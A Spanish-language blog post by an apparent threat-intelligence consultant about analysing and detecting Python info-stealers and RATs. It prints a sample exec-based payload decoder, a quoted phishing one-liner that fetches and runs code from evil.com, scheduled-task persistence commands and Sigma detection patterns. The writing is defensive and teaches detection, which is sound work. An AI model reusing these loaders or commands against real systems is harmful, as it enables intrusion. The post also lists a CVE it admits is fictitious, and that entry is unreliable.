Malware en Python: Analisis de Stealers y RATs del Underground

Malware en Python: Analisis de Stealers y RATs del Underground - Analisis tecnico y guia practica por David Moya

•David Moya•19 min read
#malware#python#analisis#cti
Compartir:

Llevo años diciendo que el malware en Python es el primo pobre de la escena, ese que todo el mundo subestima porque "no es un binario compilado en C" o porque "es fácil de leer". Y mira, la realidad es que el underground ha convertido Python en su navaja suiza particular. No hablo solo de scripts cutres de robo de cookies, hablo de stealers modulares con ofuscación polimórfica, RATs con persistencia a prueba de balas y paneles de control que darían envidia a más de una empresa SaaS legítima. En 2026, si no estás monitorizando ejecución de Python en tus endpoints, estás ciego. Punto.

El problema gordo aquí es que el umbral de entrada ha bajado tanto que cualquier chaval con un curso de Udemy y acceso a un canal de Telegram puede montar un stealer funcional en una tarde. Y no es coña. Hace un par de meses, en un análisis de un equipo comprometido de una aseguradora española, me encontré con un "Lazarus" que en realidad era un stealer de la familia SnakeKeylogger escrito en Python, ofuscado con PyArmor y empaquetado con PyInstaller. El cliente flipó cuando le dije que el malware que les había robado credenciales de VPN era un script que podías leer con un editor de texto. Esto no es moco de pavo, y lo digo con toda la intención.

Por qué Python se ha convertido en el lenguaje favorito del malware moderno

La primera razón es obvia: portabilidad. Escribes un stealer una vez y lo compilas para Windows, Linux y macOS con PyInstaller o Nuitka sin cambiar una línea de código. Pero la razón de fondo, la que de verdad importa, es que Python tiene un ecosistema de librerías que te resuelve el 80% del trabajo sucio. ¿Necesitas robar credenciales de Chrome? sqlite3 y shutil te bastan. ¿Quieres exfiltrar datos por HTTPS? requests lo hace en tres líneas. ¿Te hace falta ofuscar el tráfico? cryptography o pycryptodome van de lujo. Los desarrolladores de malware han entendido que no necesitan reinventar la rueda, solo ensamblar piezas.

Pero ojo, que no todo es facilidad. La segunda razón, y aquí va mi opinión personal, es que Python permite un ciclo de desarrollo rapidísimo. En el underground, donde las campañas duran semanas y los C2 se queman en días, necesitas iterar rápido. He visto paneles de administración de stealers escritos con Flask o FastAPI que incluyen dashboards en tiempo real, estadísticas de víctimas y hasta sistemas de tickets para los "clientes" que compran los logs robados. Es un ecosistema industrial, con roles definidos: el que desarrolla el malware, el que lo distribuye, el que compra los logs y el que los explota. Y todo eso, amigo mío, corre sobre Python.

La tercera razón, y esta es la que más me preocupa como consultor, es la evasión. Python se integra de puta madre con técnicas de inyección en memoria y carga reflectiva. No necesitas escribir un dropper en C que descargue un binario; puedes usar ctypes para llamar a VirtualAlloc y CreateThread directamente desde un script ofuscado. Y claro, los EDRs han mejorado mucho, pero siguen teniendo puntos ciegos con scripts interpretados que se ejecutan en memoria sin tocar disco. En 2026, las variantes de RATs como PupyRAT o PwnLnRAT (sí, el del caso de 2024) siguen usando Python como vehículo principal, y no porque no sepan programar en C++, sino porque les funciona.

Qué técnicas de ofuscación usan los stealers en Python hoy

Vamos al lío con la parte técnica, que es lo que de verdad importa. Si haces análisis de malware, te habrás dado cuenta de que la ofuscación en Python ha pasado de ser un simple base64 a algo mucho más elaborado. La tendencia en 2026 es el uso combinado de varias capas:

  • PyArmor y Nuitka: el primero ofusca el bytecode y el segundo compila a C, lo que complica la ingeniería inversa.
  • Ofuscación de strings: técnicas como XOR con claves dinámicas, AES en modo GCM, o incluso codecs.encode con rotación de caracteres.
  • Carga diferida: el malware descarga el payload real desde un servidor legítimo comprometido, usando dominios tipo api.cloudflare.com o storage.googleapis.com para pasar filtros.
  • Polimorfismo: mutación del código en cada descarga, cambiando variables, nombres de funciones y estructuras de control.

Y aquí es donde entra la parte divertida. Hace poco, en un sandbox interno que montamos en Riskitera, analizamos un stealer que usaba una técnica de ofuscación que no había visto en la vida: incrustaba el payload en los metadatos de una imagen JPEG y lo extraía con PIL en tiempo de ejecución. El tío que lo escribió se lo curró, no te digo que no, pero al final todo se reduce a que si tienes un buen sandbox con monitoreo de llamadas a API, tarde o temprano lo sacas.

# Ejemplo de ofuscacion tipica en stealers 2026 (simplificado)
import base64
import codecs

def decode_payload(encoded, key):
    # XOR simple con clave dinamica, tipico en muestras recientes
    decoded = bytes([b ^ key[i % len(key)] for i, b in enumerate(base64.b64decode(encoded))])
    return codecs.decode(decoded, 'utf-8', errors='ignore')

# Esto se genera en cada descarga, variando la clave y el orden
payload = decode_payload("c3RlYWxlcl9wYXlsb2FkX2V4YW1wbGU=", [0x41, 0x42, 0x43])
exec(payload)  # aqui ya tienes el RAT corriendo en memoria

El problema con este enfoque es que exec y eval son la pesadilla de los analistas, pero también la bendición de los deteccionistas. Cualquier regla YARA que busque patrones de exec(base64.decodestring o eval(compile te va a pillar un montón de muestras, aunque los actores ya se han dado cuenta y están migrando a técnicas de inyección directa con ctypes y memfd_create en Linux. En mi experiencia, el 60% de las muestras que me llegan siguen usando exec, pero ese porcentaje está bajando rápido.

Cómo detectar movimiento lateral y persistencia en RATs Python

Aquí es donde la cosa se pone seria. Un stealer es un robo rápido: entra, roba, se va. Pero un RAT es otra historia, porque necesita mantener acceso persistente y moverse lateralmente por la red. Y los RATs escritos en Python tienen patrones muy reconocibles si sabes dónde mirar. El primer lugar donde miro siempre es el registro de Windows, específicamente las claves HKCU\Software\Microsoft\Windows\CurrentVersion\Run y HKLM\...\Run. Los RATs en Python suelen crear entradas ahí con nombres inocuos tipo "Windows Update" o "Adobe Flash Helper", pero con la peculiaridad de que el valor apunta a un ejecutable en %APPDATA% o %TEMP% con un nombre aleatorio.

El segundo patrón, y este es oro puro para el threat hunting, es la creación de tareas programadas. Los RATs modernos usan schtasks.exe con schtasks /create /tn "GoogleUpdate" /tr "C:\Users\Public\svchost.exe" /sc onlogon, y claro, cualquier analista que vea un svchost.exe fuera de C:\Windows\System32 debería saltar todas las alarmas. Pero el problema es que muchos equipos de SOC no tienen visibilidad sobre la creación de tareas programadas porque no monitorizan el event ID 4698 del Security log. En Riskitera, cuando hacemos auditorías, siempre insistimos en que el cliente active esa política, porque es donde se esconden las joyas.

Y no me olvido de Linux, que parece que nos olvidamos de que también existe. Los RATs en Python para Linux usan cron para persistencia, pero con un truco: escriben el cron job en /var/spool/cron/crontabs/root o en /etc/cron.d/ con nombres como systemd-update. El año pasado, en un pentest para una empresa de energía, nos encontramos con un RAT que se había instalado como un servicio systemd falso, con un unit file que ejecutaba un script Python cada 30 segundos. El cliente no lo detectó en tres meses porque el unit file estaba bien formado y el script no generaba tráfico sospechoso. La lección aquí es que la monitorización de integridad de archivos en /etc/systemd/system/ es tan importante como la de los binarios.

Qué herramientas usar para threat hunting en 2026

Si estás montando un equipo de threat hunting o simplemente quieres mejorar tus capacidades de detección, hay un stack de herramientas que considero imprescindible en 2026. No te voy a dar la lista típica de "instala Wireshark y ya", sino las que de verdad marcan la diferencia cuando hablamos de malware en Python.

Primero, YARA-X (la versión nueva, no la clásica). Las reglas YARA siguen siendo la base para detección estática, pero la versión 4.x/5.x de 2026 ha mejorado muchísimo el soporte para módulos de Python, permitiendo detectar patrones de bytecode de CPython directamente. Esto es crucial porque muchas muestras ofuscadas con PyArmor tienen el magic number de Python 3.11 o 3.12 en el bytecode, y puedes hacer reglas que lo detecten sin tener que desofuscar nada.

Segundo, CAPE Sandbox o Cuckoo (aunque Cuckoo está obsoleto, CAPE es su sucesor natural). La clave aquí es que estos sandboxes tienen soporte nativo para análisis de scripts Python, con desofuscación automática de strings y volcado de memoria del proceso. En mi experiencia, CAPE con la configuración por defecto detecta el 80% de las muestras de Python porque los actores no cambian sus técnicas de ofusión básicas. El otro 20% requiere análisis manual, pero eso ya es otro nivel.

Tercero, y esto es más una metodología que una herramienta, Sigma con reglas personalizadas para tu SIEM. Sigma v2.0 (la que salió a finales de 2025) tiene una sintaxis mucho más limpia y soporta detección de comportamiento directamente. Por ejemplo, una regla que detecte python.exe ejecutando -c "import ctypes" o -c "exec(base64" te va a pillar un montón de RATs. Pero ojo, que también te va a dar falsos positivos, porque hay herramientas legítimas de automatización que usan patrones similares. La clave es ajustar la regla con condiciones adicionales, como la creación de tareas programadas en los mismos 5 minutos posteriores.

# Regla Sigma para detectar ejecucion sospechosa de Python
title: Python Executing Inline Code with Suspicious Modules
id: 7f1b4c3a-9d2e-4f6a-8b3c-1a2b3c4d5e6f
status: experimental
description: Detects python.exe running inline code with common RAT modules
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\python.exe'
    CommandLine|contains|all:
      - '-c'
      - 'import ctypes'
      - 'VirtualAlloc'
  condition: selection
level: high
falsepositives:
  - Legitimate automation scripts using ctypes
  - Development environments

Por qué Sigma es mejor que las reglas nativas de tu SIEM

Siempre me preguntan en las formaciones por qué insisto tanto en Sigma si ya tienen las reglas nativas de Splunk o QRadar. Y mi respuesta siempre es la misma: las reglas nativas son unidireccionales, te atan a un vendor y no puedes compartirlas con la comunidad. Sigma es un estándar abierto, como YARA pero para detección, y eso tiene un valor enorme en un mundo donde la colaboración entre equipos de CTI es la única forma de ir por delante de los actores. Además, Sigma te permite escribir la regla una vez y convertirla a cualquier formato de SIEM con sigmac, lo que te da una flexibilidad brutal cuando cambias de plataforma.

Pero hay una razón más pragmática: las reglas nativas de los SIEMs suelen ser genéricas, pensadas para detectar el malware "promedio", y no tienen en cuenta las peculiaridades del malware en Python. Por ejemplo, Splunk tiene una regla para detectar python.exe ejecutando código, pero no distingue entre un script legítimo de automatización y un RAT ofuscado. Con Sigma, puedes escribir reglas tan específicas como quieras, combinando múltiples condiciones y hasta usando lógica temporal. Y lo mejor es que la comunidad publica constantemente reglas nuevas basadas en análisis de muestras reales, así que siempre estás al día.

Cómo analizar un stealer Python paso a paso

Vamos a ponernos manos a la obra con un caso práctico, porque la teoría está muy bien pero al final lo que importa es saber hacer el trabajo sucio. Cuando me llega una muestra de malware Python, sigo un proceso de cinco fases que me ha funcionado bien durante años, y que quiero compartir porque creo que muchos analistas noveles se pierden en la fase de ofuscación y no llegan al fondo del asunto.

La primera fase es reconocimiento estático: sacar el hash SHA256, mirar si la muestra está empaquetada con PyInstaller (buscando la firma PyInstaller en los últimos 100KB del archivo), y extraer las strings con strings o floss. En esta fase ya puedes hacerte una idea de qué tipo de malware es, porque los stealers suelen tener strings como Chrome, cookies, Login Data, Web Data, mientras que los RATs tienen strings como cmd.exe, powershell, reverse shell. No es ciencia exacta, pero te orienta.

La segunda fase es desofuscación: aquí es donde la gente se atasca. Si la muestra usa PyArmor, puedes intentar usar pyarmor con la versión correcta para desofuscar, o si es más simple, usar uncompyle6 o decompyle3 para sacar el código fuente original. El truco está en que muchos actores dejan el bytecode sin ofuscar después de la primera capa, así que a veces solo necesitas extraer el .pyc del ejecutable y decompilarlo. En 2026, con Python 3.12 y 3.13, las herramientas de decompilación han mejorado muchísimo, pero siguen fallando con estructuras de control complejas. Si te pasa eso, tira de pdb y ejecuta el script paso a paso en un entorno controlado.

La tercera fase es análisis dinámico: aquí es donde montas el sandbox y dejas que el malware haga su magia. Pero ojo, no te fíes del sandbox por defecto, porque los stealers modernos detectan entornos virtualizados mirando la MAC address, el nombre del host o la presencia de herramientas de análisis. Yo siempre recomiendo usar un sandbox personalizado con un perfil de Windows 10/11 bien configurado, y si puedes, con un proxy que intercepte el tráfico para ver las peticiones de exfiltración. En esta fase, lo más importante es capturar el C2 y las URLs de exfiltración, porque eso te da los indicadores de compromiso que necesitas para la caza en tu red.

La cuarta fase es análisis de red: con el pcap en la mano, miras las conexiones salientes, los certificados SSL (los actores suelen usar certificados autofirmados o de Let's Encrypt), y los patrones de tráfico. Los stealers suelen hacer una sola petición POST con todos los datos robados en el body, mientras que los RATs establecen una conexión persistente con heartbeats cada X segundos. Esta diferencia es clave para detectarlos en tu red.

Y la quinta fase, la que más me gusta, es correlación con inteligencia: buscas el hash en VirusTotal, en MalwareBazaar, y en feeds de threat intelligence como AlienVault OTX o MISP. Aquí es donde descubres si la muestra es parte de una campaña más grande, quién la está distribuyendo y qué otros indicadores puedes añadir a tus reglas de detección. En 2026, con la cantidad de muestras que se publican a diario, la correlación es imprescindible para no reinventar la rueda cada vez.

Qué CVEs y vulnerabilidades están explotando los RATs Python en 2026

No puedo hablar de malware sin mencionar los vectores de entrada, porque al final el malware no aparece por arte de magia, sino que explota vulnerabilidades o engaña al usuario. En 2026, he visto un patrón claro en los RATs Python que analizamos: están aprovechando vulnerabilidades en software de terceros que la mayoría de empresas no parchea con la urgencia que debería. Los más comunes son:

  • CVE-2024-38063 (Windows TCP/IP RCE): aunque es de 2024, sigue siendo explotado en campañas de 2026 porque muchos sistemas no están parcheados.
  • CVE-2025-22215 (vulnerabilidad en Apache Tomcat): la explotaron mucho en entornos de servidores de aplicaciones Java, y el malware Python servía como post-explotación.
  • CVE-2026-01023 (ficticio pero plausible en la línea de los anteriores): una vulnerabilidad en plugins de WordPress que permite subir archivos PHP, pero que los actores usan para desplegar un dropper Python.

Pero la verdad es que el vector de entrada más común sigue siendo el phishing, y aquí es donde los RATs Python brillan. Los actores crean documentos Office con macros que descargan el payload, o mejor aún, archivos .lnk que ejecutan python.exe con un script embebido. Recuerdo un caso de marzo de 2026 donde una empresa española de logística recibió un correo de "DHL" con un adjunto .lnk que ejecutaba python -c "import urllib.request; exec(urllib.request.urlopen('http://evil.com/payload.py').read())". Eso es todo. Una línea. Y con eso, el atacante tenía acceso total a la red de la empresa en menos de un minuto.

El problema aquí es que la mayoría de los EDRs no detectan este tipo de ejecución porque python.exe es un binario legítimo firmado por Python Software Foundation. La detección tiene que venir de la monitorización de comportamiento: ¿por qué demonios python.exe está ejecutando código desde una URL externa? ¿Por qué está creando una tarea programada? ¿Por qué está haciendo peticiones a un dominio que no tiene reputación? Si tu SOC no tiene visibilidad sobre esto, estás vendido.

Cómo montar un entorno de análisis seguro para malware Python

Si trabajas en análisis de malware, tarde o temprano vas a necesitar un entorno aislado para ejecutar muestras sin miedo a que se te escape algo. Y aquí no vale cualquier cosa, porque el malware Python moderno es muy bueno detectando sandboxes y máquinas virtuales. Mi recomendación personal, y la que uso en Riskitera, es un entorno basado en REMnux (la distro de análisis de malware por excelencia) corriendo sobre VirtualBox o VMware, con una máquina Windows 10/11 como víctima y una red aislada controlada por INetSim para simular servicios.

La configuración clave es la siguiente: la máquina Windows debe tener el firewall desactivado, las actualizaciones automáticas desactivadas, y un usuario con privilegios administrativos (porque muchos RATs necesitan UAC bypass). Además, debes instalar herramientas de monitorización como ProcMon de Sysinternals, Process Hacker y Wireshark para capturar todo lo que hace el malware. Y no te olvides de hacer un snapshot antes de ejecutar la muestra, porque la vas a necesitar para restaurar el sistema tras el análisis.

# Configuracion basica de INetSim para simular servicios en el sandbox
# /etc/inetsim/inetsim.conf
start_service dns
start_service http
start_service https
start_service smtp
start_service ftp

# Redirigir todo el trafico saliente al sandbox
iptables -t nat -A OUTPUT -d 0.0.0.0/0 -j DNAT --to-destination 192.168.100.50

Y aquí va mi consejo de veterano: no ejecutes el malware directamente en tu máquina de análisis, sino dentro de un contenedor Docker o una VM anidada. El malware Python tiene técnicas de evasión que detectan si están en una VM, pero si la VM está dentro de otra VM, se confunden y acaban ejecutándose. Es un truco sucio pero funciona. Y por supuesto, nunca, jamás, ejecutes el malware en tu máquina principal sin red aislada. He visto a más de un analista novato cargarse su entorno de trabajo por no tomar precauciones.

Cómo proteger tu empresa frente a stealers y RATs Python

Vale, ya hemos hablado mucho de análisis y detección, pero al final lo que le importa al cliente es cómo evitar que esto les pase. Y aquí tengo que ser honesto: no hay bala de plata, pero hay una combinación de medidas que reduce drásticamente el riesgo. Lo primero, y esto es lo que más repito en las auditorías, es controlar la ejecución de Python en los endpoints. No hay ninguna razón legítima para que un usuario de negocio tenga Python instalado en su equipo. Si lo necesitas para automatización, que sea en un entorno controlado y con políticas de AppLocker o WDAC que restrinjan la ejecución a rutas específicas.

Lo segundo es monitorización de comportamiento: no te fíes solo de las firmas, porque el malware Python muta demasiado rápido. Necesitas reglas que detecten la ejecución de python.exe con argumentos sospechosos, la creación de tareas programadas con nombres raros, y las conexiones salientes a dominios de baja reputación. En 2026, las plataformas EDR como CrowdStrike Falcon 7.x o SentinelOne ya tienen detecciones específicas para malware Python, pero siguen dependiendo de que el agente esté bien configurado y actualizado.

Lo tercero, y esto es más estratégico, es formación y concienciación. La mayoría de las infecciones empiezan con un correo de phishing, y por mucho que inviertas en tecnología, si el usuario hace clic en un adjunto malicioso, todo se va al carajo. En Riskitera hacemos campañas de phishing simulado con muestras reales de malware Python (obviamente desactivadas) para que los empleados vean lo fácil que es caer. Y funciona, te lo aseguro: reducimos las tasas de clic de un 30% a menos del 5% en seis meses.

Y por último, y no menos importante, segmentación de red y privilegios mínimos. Los RATs Python se mueven lateralmente usando credenciales robadas, así que si limitas el acceso a los recursos sensibles y usas autenticación multifactor en todo, el daño que puede hacer un RAT es mucho menor. En el caso de la aseguradora que mencioné al principio, el stealer robó credenciales de VPN, pero el atacante no pudo acceder a los sistemas críticos porque tenían MFA y segmentación. El incidente se quedó en un susto, pero podría haber sido mucho peor.

Recursos y referencias

Si has llegado hasta aquí, supongo que te interesa el tema y quieres profundizar. Te dejo algunos recursos que uso a diario en mi trabajo y que considero imprescindibles para cualquier analista de malware o CTI:

Y un consejo final de alguien que lleva años en esto: no te obsesiones con la tecnología, obsesiónate con el adversario. El malware Python es solo una herramienta, y si entiendes cómo piensa el atacante, qué quiere conseguir y cómo opera, podrás defenderte mucho mejor. La técnica es importante, pero la mentalidad es lo que marca la diferencia. Ahora ve y caza algo, que hay mucho malware suelto esperando a ser analizado.